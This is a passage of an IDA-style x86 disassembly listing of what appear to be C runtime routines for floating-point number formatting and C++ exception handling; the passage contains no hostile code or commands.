"IsProcessorFeaturePresent" push eax call ds:dword_4210C4 test eax, eax jz short loc_419EF3 push 0 call eax ; sub_415F1B retn ; --------------------------------------------------------------------------- loc_419EF3: ; CODE XREF: sub_419ECF+Dj ; sub_419ECF+1Dj jmp sub_419E91 sub_419ECF endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_419EF8 proc near ; CODE XREF: sub_417D2C+3CBp ; DATA XREF: sub_415F33+1Eo ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] movsx eax, byte ptr [esi] push eax call sub_417173 cmp eax, 65h pop ecx jz short loc_419F38 loc_419F0C: ; CODE XREF: sub_419EF8+3Ej inc esi cmp ds:dword_437F5C, 1 jle short loc_419F25 movsx eax, byte ptr [esi] push 4 push eax call sub_418536 pop ecx pop ecx jmp short loc_419F34 ; --------------------------------------------------------------------------- loc_419F25: ; CODE XREF: sub_419EF8+1Cj movsx eax, byte ptr [esi] mov ecx, ds:off_437D50 mov al, [ecx+eax*2] and eax, 4 loc_419F34: ; CODE XREF: sub_419EF8+2Bj test eax, eax jnz short loc_419F0C loc_419F38: ; CODE XREF: sub_419EF8+12j mov cl, ds:byte_437F60 mov al, [esi] mov [esi], cl inc esi loc_419F43: ; CODE XREF: sub_419EF8+56j mov cl, [esi] mov [esi], al mov al, cl mov cl, [esi] inc esi test cl, cl jnz short loc_419F43 pop esi retn sub_419EF8 endp ; =============== S U B R O U T I N E ======================================= sub_419F52 proc near ; CODE XREF: sub_417D2C+3E2p ; DATA XREF: sub_415F33+5o ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov dl, ds:byte_437F60 mov cl, [eax] test cl, cl jz short loc_419F6E loc_419F62: ; CODE XREF: sub_419F52+1Aj cmp cl, dl jz short loc_419F6E mov cl, [eax+1] inc eax test cl, cl jnz short loc_419F62 loc_419F6E: ; CODE XREF: sub_419F52+Ej ; sub_419F52+12j mov cl, [eax] inc eax test cl, cl jz short locret_419F9F loc_419F75: ; CODE XREF: sub_419F52+34j mov cl, [eax] test cl, cl jz short loc_419F88 cmp cl, 65h jz short loc_419F88 cmp cl, 45h jz short loc_419F88 inc eax jmp short loc_419F75 ; --------------------------------------------------------------------------- loc_419F88: ; CODE XREF: sub_419F52+27j ; sub_419F52+2Cj ... mov ecx, eax loc_419F8A: ; CODE XREF: sub_419F52+3Cj dec eax cmp byte ptr [eax], 30h jz short loc_419F8A cmp [eax], dl jnz short loc_419F95 dec eax loc_419F95: ; CODE XREF: sub_419F52+40j ; sub_419F52+4Bj mov dl, [ecx] inc eax inc ecx test dl, dl mov [eax], dl jnz short loc_419F95 locret_419F9F: ; CODE XREF: sub_419F52+21j retn sub_419F52 endp ; =============== S U B R O U T I N E ======================================= sub_419FA0 proc near ; DATA XREF: sub_415F33+28o ; seg002:off_438098o arg_0 = dword ptr 4 mov eax, [esp+arg_0] fld qword ptr [eax] fcomp ds:dbl_4217B0 fnstsw ax sahf jb short loc_419FB5 push 1 pop eax retn ; --------------------------------------------------------------------------- loc_419FB5: ; CODE XREF: sub_419FA0+Fj xor eax, eax retn sub_419FA0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419FB8 proc near ; CODE XREF: sub_41AD1D+430p ; DATA XREF: sub_415F33+14o ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_0], 0 push [ebp+arg_8] jz short loc_419FE1 lea eax, [ebp+var_8] push eax call sub_41DCEE mov eax, [ebp+arg_4] pop ecx pop ecx mov ecx, [ebp+var_8] mov [eax], ecx mov ecx, [ebp+var_4] mov [eax+4], ecx leave retn ; --------------------------------------------------------------------------- loc_419FE1: ; CODE XREF: sub_419FB8+Cj lea eax, [ebp+arg_8] push eax call sub_41DD1B mov eax, [ebp+arg_4] pop ecx pop ecx mov ecx, [ebp+arg_8] mov [eax], ecx leave retn sub_419FB8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419FF6 proc near ; CODE XREF: sub_41A273+17p ; sub_41A2BD+47p var_10 = qword ptr -10h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp cmp ds:byte_4694E0, 0 push ebx push esi jz short loc_41A02B mov ebx, [ebp+arg_8] mov eax, ds:dword_4694DC xor ecx, ecx mov esi, eax test ebx, ebx setnle cl push ecx xor ecx, ecx cmp dword ptr [eax], 2Dh setz cl add ecx, [ebp+arg_4] push ecx call sub_41A30E pop ecx pop ecx jmp short loc_41A063 ; --------------------------------------------------------------------------- loc_41A02B: ; CODE XREF: sub_419FF6+Cj mov eax, [ebp+arg_0] push ecx push ecx fld qword ptr [eax] fstp [esp+10h+var_10] call sub_41DDBF mov ebx, [ebp+arg_8] mov esi, eax push esi mov edx, [ebp+arg_4] lea eax, [ebx+1] push eax xor eax, eax cmp dword ptr [esi], 2Dh setz al xor ecx, ecx test ebx, ebx setnle cl add edx, eax add ecx, edx push ecx call sub_41DD48 add esp, 14h loc_41A063: ; CODE XREF: sub_419FF6+33j cmp dword ptr [esi], 2Dh mov eax, [ebp+arg_4] jnz short loc_41A06F mov byte ptr [eax], 2Dh inc eax loc_41A06F: ; CODE XREF: sub_419FF6+73j test ebx, ebx jle short loc_41A087 mov cl, [eax+1] push edi lea edi, [eax+1] mov [eax], cl mov cl, ds:byte_437F60 mov eax, edi pop edi mov [eax], cl loc_41A087: ; CODE XREF: sub_419FF6+7Bj xor ecx, ecx push offset aE000 ; "e+000" cmp ds:byte_4694E0, cl setz cl add ecx, eax add ecx, ebx push ecx call sub_415BE0 cmp [ebp+arg_C], 0 pop ecx pop ecx mov ecx, eax jz short loc_41A0AE mov byte ptr [ecx], 45h loc_41A0AE: ; CODE XREF: sub_419FF6+B3j mov eax, [esi+0Ch] inc ecx cmp byte ptr [eax], 30h jz short loc_41A0F3 mov ebx, [esi+4] dec ebx jns short loc_41A0C2 neg ebx mov byte ptr [ecx], 2Dh loc_41A0C2: ; CODE XREF: sub_419FF6+C5j inc ecx cmp ebx, 64h jl short loc_41A0D9 mov eax, ebx push 64h cdq pop esi idiv esi add [ecx], al mov eax, ebx cdq idiv esi mov ebx, edx loc_41A0D9: ; CODE XREF: sub_419FF6+D0j inc ecx cmp ebx, 0Ah jl short loc_41A0F0 mov eax, ebx push 0Ah cdq pop esi idiv esi add [ecx], al mov eax, ebx cdq idiv esi mov ebx, edx loc_41A0F0: ; CODE XREF: sub_419FF6+E7j add [ecx+1], bl loc_41A0F3: ; CODE XREF: sub_419FF6+BFj mov eax, [ebp+arg_4] pop esi pop ebx pop ebp retn sub_419FF6 endp ; =============== S U B R O U T I N E ======================================= sub_41A0FA proc near ; CODE XREF: sub_41A29A+13p ; sub_41A2BD+1Ep var_18 = qword ptr -18h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch cmp ds:byte_4694E0, 0 push ebx push ebp mov ebp, [esp+8+arg_4] push esi push edi jz short loc_41A135 mov eax, ds:dword_4694E4 mov ebx, [esp+10h+arg_8] mov esi, ds:dword_4694DC cmp eax, ebx jnz short loc_41A165 xor ecx, ecx cmp dword ptr [esi], 2Dh setz cl add ecx, eax add ecx, ebp mov eax, ecx mov byte ptr [eax], 30h and byte ptr [eax+1], 0 jmp short loc_41A165 ; --------------------------------------------------------------------------- loc_41A135: ; CODE XREF: sub_41A0FA+Fj mov eax, [esp+10h+arg_0] push ecx push ecx fld qword ptr [eax] fstp [esp+18h+var_18] call sub_41DDBF mov ebx, [esp+18h+arg_8] mov esi, eax push esi mov eax, [esi+4] add eax, ebx push eax xor eax, eax cmp dword ptr [esi], 2Dh setz al add eax, ebp push eax call sub_41DD48 add esp, 14h loc_41A165: ; CODE XREF: sub_41A0FA+22j ; sub_41A0FA+39j cmp dword ptr [esi], 2Dh mov edi, ebp jnz short loc_41A173 mov byte ptr [ebp+0], 2Dh lea edi, [ebp+1] loc_41A173: ; CODE XREF: sub_41A0FA+70j mov eax, [esi+4] test eax, eax jg short loc_41A18A push 1 push edi call sub_41A30E pop ecx mov byte ptr [edi], 30h pop ecx inc edi jmp short loc_41A18C ; --------------------------------------------------------------------------- loc_41A18A: ; CODE XREF: sub_41A0FA+7Ej add edi, eax loc_41A18C: ; CODE XREF: sub_41A0FA+8Ej test ebx, ebx jle short loc_41A1D1 push 1 push edi call sub_41A30E mov al, ds:byte_437F60 pop ecx mov [edi], al mov esi, [esi+4] inc edi pop ecx test esi, esi jge short loc_41A1D1 cmp ds:byte_4694E0, 0 jz short loc_41A1B6 neg esi jmp short loc_41A1BC ; --------------------------------------------------------------------------- loc_41A1B6: ; CODE XREF: sub_41A0FA+B6j neg esi cmp ebx, esi jl short loc_41A1BE loc_41A1BC: ; CODE XREF: sub_41A0FA+BAj mov ebx, esi loc_41A1BE: ; CODE XREF: sub_41A0FA+C0j push ebx push edi call sub_41A30E push ebx push 30h push edi call sub_415550 add esp, 14h loc_41A1D1: ; CODE XREF: sub_41A0FA+94j ; sub_41A0FA+ADj pop edi mov eax, ebp pop esi pop ebp pop ebx retn sub_41A0FA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A1D8 proc near ; CODE XREF: sub_41A2BD+34p var_14 = qword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx push esi push edi mov edi, [ebp+arg_0] push ecx push ecx fld qword ptr [edi] fstp [esp+14h+var_14] call sub_41DDBF mov ds:dword_4694DC, eax mov ecx, [eax+4] dec ecx mov ebx, [ebp+arg_8] mov ds:dword_4694E4, ecx xor ecx, ecx cmp dword ptr [eax], 2Dh push eax push ebx setz cl add ecx, [ebp+arg_4] mov esi, ecx push esi call sub_41DD48 mov eax, ds:dword_4694DC add esp, 14h mov ecx, [eax+4] dec ecx cmp ds:dword_4694E4, ecx setl cl mov ds:byte_4694E8, cl mov eax, [eax+4] dec eax cmp eax, 0FFFFFFFCh mov ds:dword_4694E4, eax jl short loc_41A25E cmp eax, ebx jge short loc_41A25E test cl, cl jz short loc_41A24F loc_41A245: ; CODE XREF: sub_41A1D8+72j mov al, [esi] inc esi test al, al jnz short loc_41A245 and [esi-2], al loc_41A24F: ; CODE XREF: sub_41A1D8+6Bj push ebx push [ebp+arg_4] push edi call sub_41A29A add esp, 0Ch jmp short loc_41A26E ; --------------------------------------------------------------------------- loc_41A25E: ; CODE XREF: sub_41A1D8+63j ; sub_41A1D8+67j push [ebp+arg_C] push ebx push [ebp+arg_4] push edi call sub_41A273 add esp, 10h loc_41A26E: ; CODE XREF: sub_41A1D8+84j pop edi pop esi pop ebx pop ebp retn sub_41A1D8 endp ; =============== S U B R O U T I N E ======================================= sub_41A273 proc near ; CODE XREF: sub_41A1D8+8Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push [esp+arg_C] mov ds:byte_4694E0, 1 push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_419FF6 and ds:byte_4694E0, 0 add esp, 10h retn sub_41A273 endp ; =============== S U B R O U T I N E ======================================= sub_41A29A proc near ; CODE XREF: sub_41A1D8+7Cp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push [esp+arg_8] mov ds:byte_4694E0, 1 push [esp+4+arg_4] push [esp+8+arg_0] call sub_41A0FA and ds:byte_4694E0, 0 add esp, 0Ch retn sub_41A29A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A2BD proc near ; CODE XREF: sub_417D2C+3AAp ; DATA XREF: sub_415F33o ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp cmp [ebp+arg_8], 65h jz short loc_41A2F8 cmp [ebp+arg_8], 45h jz short loc_41A2F8 cmp [ebp+arg_8], 66h jnz short loc_41A2E5 push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_41A0FA add esp, 0Ch pop ebp retn ; --------------------------------------------------------------------------- loc_41A2E5: ; CODE XREF: sub_41A2BD+13j push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_41A1D8 jmp short loc_41A309 ; --------------------------------------------------------------------------- loc_41A2F8: ; CODE XREF: sub_41A2BD+7j ; sub_41A2BD+Dj push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_419FF6 loc_41A309: ; CODE XREF: sub_41A2BD+39j add esp, 10h pop ebp retn sub_41A2BD endp ; =============== S U B R O U T I N E ======================================= sub_41A30E proc near ; CODE XREF: sub_419FF6+2Cp ; sub_41A0FA+83p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push edi mov edi, [esp+4+arg_4] test edi, edi jz short loc_41A331 push esi mov esi, [esp+8+arg_0] push esi call sub_415CD0 inc eax push eax push esi add esi, edi push esi call sub_416470 add esp, 10h pop esi loc_41A331: ; CODE XREF: sub_41A30E+7j pop edi retn sub_41A30E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A333 proc near ; CODE XREF: seg000:00416114p ; sub_41617D+1Bp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push esi mov esi, [ebp+arg_10] push edi mov edi, 19930520h cmp [esi], edi jz short loc_41A349 call sub_41ABD2 loc_41A349: ; CODE XREF: sub_41A333+Fj mov eax, [ebp+arg_0] test byte ptr [eax+4], 66h jz short loc_41A371 cmp dword ptr [esi+4], 0 jz short loc_41A3C7 cmp [ebp+arg_14], 0 jnz short loc_41A3C7 push 0FFFFFFFFh push esi push [ebp+arg_C] push [ebp+arg_4] call sub_41A67A add esp, 10h jmp short loc_41A3C7 ; --------------------------------------------------------------------------- loc_41A371: ; CODE XREF: sub_41A333+1Dj cmp dword ptr [esi+0Ch], 0 jz short loc_41A3C7 cmp dword ptr [eax], 0E06D7363h jnz short loc_41A3AB cmp [eax+14h], edi jbe short loc_41A3AB mov ecx, [eax+1Ch] mov ecx, [ecx+8] test ecx, ecx jz short loc_41A3AB movzx edx, byte ptr [ebp+arg_1C] push edx push [ebp+arg_18] push [ebp+arg_14] push esi push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push eax call ecx add esp, 20h jmp short loc_41A3CA ; --------------------------------------------------------------------------- loc_41A3AB: ; CODE XREF: sub_41A333+4Aj ; sub_41A333+4Fj ... push [ebp+arg_18] push [ebp+arg_14] push [ebp+arg_1C] push esi push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push eax call sub_41A3CE add esp, 20h loc_41A3C7: ; CODE XREF: sub_41A333+23j ; sub_41A333+29j ... push 1 pop eax loc_41A3CA: ; CODE XREF: sub_41A333+76j pop edi pop esi pop ebp retn sub_41A333 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A3CE proc near ; CODE XREF: sub_41A333+8Cp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = byte ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 18h mov eax, [ebp+arg_4] and byte ptr [ebp+var_14], 0 mov eax, [eax+8] cmp eax, 0FFFFFFFFh mov [ebp+var_10], eax jl short loc_41A3EE mov ecx, [ebp+arg_10] cmp eax, [ecx+4] jl short loc_41A3F3 loc_41A3EE: ; CODE XREF: sub_41A3CE+16j call sub_41ABD2 loc_41A3F3: ; CODE XREF: sub_41A3CE+1Ej push ebx push esi mov esi, [ebp+arg_0] mov ebx, 0E06D7363h push edi mov edi, 19930520h cmp [esi], ebx jnz loc_41A54A cmp dword ptr [esi+10h], 3 jnz short loc_41A467 cmp [esi+14h], edi jnz short loc_41A467 cmp dword ptr [esi+1Ch], 0 jnz short loc_41A467 mov esi, ds:dword_4694EC test esi, esi jz loc_41A545 mov eax, ds:dword_4694F0 push 1 push esi mov [ebp+arg_8], eax mov byte ptr [ebp+var_14], 1 call sub_41DF46 pop ecx test eax, eax pop ecx jnz short loc_41A449 call sub_41ABD2 loc_41A449: ; CODE XREF: sub_41A3CE+74j cmp [esi], ebx jnz loc_41A54A cmp dword ptr [esi+10h], 3 jnz short loc_41A467 cmp [esi+14h], edi jnz short loc_41A467 cmp dword ptr [esi+1Ch], 0 jnz short loc_41A467 call sub_41ABD2 loc_41A467: ; CODE XREF: sub_41A3CE+41j ; sub_41A3CE+46j ... cmp [esi], ebx jnz loc_41A54A cmp dword ptr [esi+10h], 3 jnz loc_41A54A cmp [esi+14h], edi jnz loc_41A54A mov edi, [ebp+var_10] lea eax, [ebp+var_18] push eax lea eax, [ebp+var_4] push eax push edi push [ebp+arg_18] push [ebp+arg_10] call sub_4162CB add esp, 14h mov ebx, eax loc_41A49E: ; CODE XREF: sub_41A3CE+162j mov eax, [ebp+var_4] cmp eax, [ebp+var_18] jnb loc_41A535 cmp [ebx], edi jg short loc_41A52A cmp edi, [ebx+4] jg short loc_41A52A mov eax, [ebx+10h] mov [ebp+arg_0], eax mov eax, [ebx+0Ch] test eax, eax mov [ebp+var_C], eax jle short loc_41A527 loc_41A4C3: ; CODE XREF: sub_41A3CE+131j mov eax, [esi+1Ch] mov eax, [eax+0Ch] lea edi, [eax+4] mov eax, [eax] test eax, eax mov [ebp+var_8], eax jle short loc_41A4F4 loc_41A4D5: ; CODE XREF: sub_41A3CE+124j push dword ptr [esi+1Ch] push dword ptr [edi] push [ebp+arg_0] call sub_41A61D add esp, 0Ch test eax, eax jnz short loc_41A503 dec [ebp+var_8] add edi, 4 cmp [ebp+var_8], eax jg short loc_41A4D5 loc_41A4F4: ; CODE XREF: sub_41A3CE+105j dec [ebp+var_C] add [ebp+arg_0], 10h cmp [ebp+var_C], 0 jg short loc_41A4C3 jmp short loc_41A527 ; --------------------------------------------------------------------------- loc_41A503: ; CODE XREF: sub_41A3CE+119j push [ebp+var_14] push [ebp+arg_1C] push [ebp+arg_18] push ebx push dword ptr [edi] push [ebp+arg_0] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call sub_41A72E add esp, 2Ch loc_41A527: ; CODE XREF: sub_41A3CE+F3j ; sub_41A3CE+133j mov edi, [ebp+var_10] loc_41A52A: ; CODE XREF: sub_41A3CE+DEj ; sub_41A3CE+E3j inc [ebp+var_4] add ebx, 14h jmp loc_41A49E ; --------------------------------------------------------------------------- loc_41A535: ; CODE XREF: sub_41A3CE+D6j cmp [ebp+arg_14], 0 jz short loc_41A545 push 1 push esi call sub_41AAA3 pop ecx pop ecx loc_41A545: ; CODE XREF: sub_41A3CE+56j ; sub_41A3CE+16Bj ... pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41A54A: ; CODE XREF: sub_41A3CE+37j ; sub_41A3CE+7Dj ... cmp [ebp+arg_14], 0 jnz short loc_41A570 push [ebp+arg_1C] push [ebp+arg_18] push [ebp+var_10] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call sub_41A575 add esp, 20h jmp short loc_41A545 ; --------------------------------------------------------------------------- loc_41A570: ; CODE XREF: sub_41A3CE+180j jmp sub_41AB7C sub_41A3CE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A575 proc near ; CODE XREF: sub_41A3CE+198p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push ecx push ecx cmp ds:dword_4694F4, 0 push esi push edi jz short loc_41A5A6 push [ebp+arg_1C] push [ebp+arg_18] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_4161A2 add esp, 1Ch test eax, eax jnz short loc_41A619 loc_41A5A6: ; CODE XREF: sub_41A575+Ej mov edi, [ebp+arg_14] lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax push edi push [ebp+arg_18] push [ebp+arg_10] call sub_4162CB add esp, 14h mov esi, eax loc_41A5C2: ; CODE XREF: sub_41A575+A2j mov eax, [ebp+var_4] cmp eax, [ebp+var_8] jnb short loc_41A619 cmp edi, [esi] jl short loc_41A611 cmp edi, [esi+4] jg short loc_41A611 mov eax, [esi+0Ch] mov ecx, [esi+10h] shl eax, 4 add eax, ecx mov ecx, [eax-0Ch] test ecx, ecx jz short loc_41A5EB cmp byte ptr [ecx+8], 0 jnz short loc_41A611 loc_41A5EB: ; CODE XREF: sub_41A575+6Ej push 1 add eax, 0FFFFFFF0h push [ebp+arg_1C] push [ebp+arg_18] push esi push 0 push eax push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_41A72E add esp, 2Ch loc_41A611: ; CODE XREF: sub_41A575+57j ; sub_41A575+5Cj ... inc [ebp+var_4] add esi, 14h jmp short loc_41A5C2 ; --------------------------------------------------------------------------- loc_41A619: ; CODE XREF: sub_41A575+2Fj ; sub_41A575+53j pop edi pop esi leave retn sub_41A575 endp ; =============== S U B R O U T I N E ======================================= sub_41A61D proc near ; CODE XREF: sub_41A3CE+10Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi push edi mov edi, [esp+8+arg_0] mov eax, [edi+4] test eax, eax jz short loc_41A674 cmp byte ptr [eax+8], 0 lea edx, [eax+8] jz short loc_41A674 mov esi, [esp+8+arg_4] mov ecx, [esi+4] cmp eax, ecx jz short loc_41A64E add ecx, 8 push ecx push edx call sub_4158F0 pop ecx test eax, eax pop ecx jnz short loc_41A670 loc_41A64E: ; CODE XREF: sub_41A61D+1Fj test byte ptr [esi], 2 jz short loc_41A658 test byte ptr [edi], 8 jz short loc_41A670 loc_41A658: ; CODE XREF: sub_41A61D+34j mov eax, [esp+8+arg_8] mov eax, [eax] test al, 1 jz short loc_41A667 test byte ptr [edi], 1 jz short loc_41A670 loc_41A667: ; CODE XREF: sub_41A61D+43j test al, 2 jz short loc_41A674 test byte ptr [edi], 2 jnz short loc_41A674 loc_41A670: ; CODE XREF: sub_41A61D+2Fj ; sub_41A61D+39j ... xor eax, eax jmp short loc_41A677 ; --------------------------------------------------------------------------- loc_41A674: ; CODE XREF: sub_41A61D+Bj ; sub_41A61D+14j ... push 1 pop eax loc_41A677: ; CODE XREF: sub_41A61D+55j pop edi pop esi retn sub_41A61D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A67A proc near ; CODE XREF: sub_41A333+34p ; sub_41A72E+42p var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4217F8 push offset sub_41CDE8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch push ebx push esi push edi mov [ebp+var_18], esp mov ebx, [ebp+arg_0] mov esi, [ebx+8] mov [ebp+var_1C], esi mov edi, [ebp+arg_8] loc_41A6AC: ; CODE XREF: sub_41A67A+8Aj cmp esi, [ebp+arg_C] jz short loc_41A706 cmp esi, 0FFFFFFFFh jle short loc_41A6BB cmp esi, [edi+4] jl short loc_41A6C0 loc_41A6BB: ; CODE XREF: sub_41A67A+3Aj call sub_41ABD2 loc_41A6C0: ; CODE XREF: sub_41A67A+3Fj and [ebp+var_4], 0 mov eax, [edi+8] mov eax, [eax+esi*8+4] test eax, eax jz short loc_41A6DB push 103h push ebx push eax call sub_41AB30 loc_41A6DB: ; CODE XREF: sub_41A67A+53j or [ebp+var_4], 0FFFFFFFFh jmp short loc_41A6FB ; --------------------------------------------------------------------------- push [ebp+var_14] call sub_41A718 pop ecx retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] or [ebp+var_4], 0FFFFFFFFh mov edi, [ebp+arg_8] mov ebx, [ebp+arg_0] mov esi, [ebp+var_1C] loc_41A6FB: ; CODE XREF: sub_41A67A+65j mov eax, [edi+8] mov esi, [eax+esi*8] mov [ebp+var_1C], esi jmp short loc_41A6AC ; --------------------------------------------------------------------------- loc_41A706: ; CODE XREF: sub_41A67A+35j mov [ebx+8], esi mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_41A67A endp ; =============== S U B R O U T I N E ======================================= sub_41A718 proc near ; CODE XREF: sub_41A67A+6Ap arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov eax, [eax] cmp dword ptr [eax], 0E06D7363h jz short loc_41A729 xor eax, eax retn ; --------------------------------------------------------------------------- loc_41A729: ; CODE XREF: sub_41A718+Cj jmp sub_41AB7C sub_41A718 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A72E proc near ; CODE XREF: sub_41A3CE+151p ; sub_41A575+94p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch push ebp mov ebp, esp cmp [ebp+arg_18], 0 push ebx mov ebx, [ebp+arg_14] push esi push edi mov edi, [ebp+arg_4] jz short loc_41A750 push [ebp+arg_18] push ebx push edi push [ebp+arg_0] call sub_41A8DF add esp, 10h loc_41A750: ; CODE XREF: sub_41A72E+10j cmp [ebp+arg_24], 0 push [ebp+arg_0] jnz short loc_41A75C push edi jmp short loc_41A75F ; --------------------------------------------------------------------------- loc_41A75C: ; CODE XREF: sub_41A72E+29j push [ebp+arg_24] loc_41A75F: ; CODE XREF: sub_41A72E+2Cj call sub_4160A4 mov esi, [ebp+arg_1C] push dword ptr [esi] push [ebp+arg_10] push [ebp+arg_C] push edi call sub_41A67A mov eax, [esi+4] push 100h push [ebp+arg_20] inc eax mov [edi+8], eax push dword ptr [ebx+0Ch] push [ebp+arg_10] push [ebp+arg_8] push edi push [ebp+arg_0] call sub_41A7A9 add esp, 2Ch test eax, eax jz short loc_41A7A4 push edi push eax call sub_416062 loc_41A7A4: ; CODE XREF: sub_41A72E+6Dj pop edi pop esi pop ebx pop ebp retn sub_41A72E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A7A9 proc near ; CODE XREF: sub_41A72E+63p var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_421808 push offset sub_41CDE8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp mov eax, [ebp+arg_10] mov [ebp+var_2C], eax xor ebx, ebx mov [ebp+var_24], ebx mov esi, [ebp+arg_4] mov ecx, [esi-4] mov [ebp+var_28], ecx mov ecx, ds:dword_4694EC mov [ebp+var_1C], ecx mov ecx, ds:dword_4694F0 mov [ebp+var_20], ecx mov edi, [ebp+arg_0] mov ds:dword_4694EC, edi mov ecx, [ebp+arg_8] mov ds:dword_4694F0, ecx mov [ebp+var_4], ebx mov [ebp+var_4], 1 push [ebp+arg_18] push [ebp+arg_14] push eax push [ebp+arg_C] push esi call sub_416129 add esp, 14h mov [ebp+var_2C], eax mov [ebp+var_4], ebx or [ebp+var_4], 0FFFFFFFFh call sub_41A86F mov eax, [ebp+var_2C] loc_41A836: ; CODE XREF: sub_41A84F+16j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_41A7A9 endp ; =============== S U B R O U T I N E ======================================= sub_41A845 proc near ; DATA XREF: seg001:00421818o push dword ptr [ebp-14h] call sub_41A8B5 pop ecx retn sub_41A845 endp ; =============== S U B R O U T I N E ======================================= sub_41A84F proc near ; DATA XREF: seg001:0042181Co mov esp, [ebp-18h] and dword ptr [ebp-2Ch], 0 push 0FFFFFFFFh lea eax, [ebp-10h] push eax call sub_41638A pop ecx pop ecx xor eax, eax jmp short loc_41A836 sub_41A84F endp ; --------------------------------------------------------------------------- loc_41A867: ; DATA XREF: seg001:00421810o xor ebx, ebx mov esi, [ebp+0Ch] mov edi, [ebp+8] ; =============== S U B R O U T I N E ======================================= sub_41A86F proc near ; CODE XREF: sub_41A7A9+85p mov eax, [ebp-28h] mov [esi-4], eax mov eax, [ebp-1Ch] mov ds:dword_4694EC, eax mov eax, [ebp-20h] mov ds:dword_4694F0, eax cmp dword ptr [edi], 0E06D7363h jnz short locret_41A8B4 cmp dword ptr [edi+10h], 3 jnz short locret_41A8B4 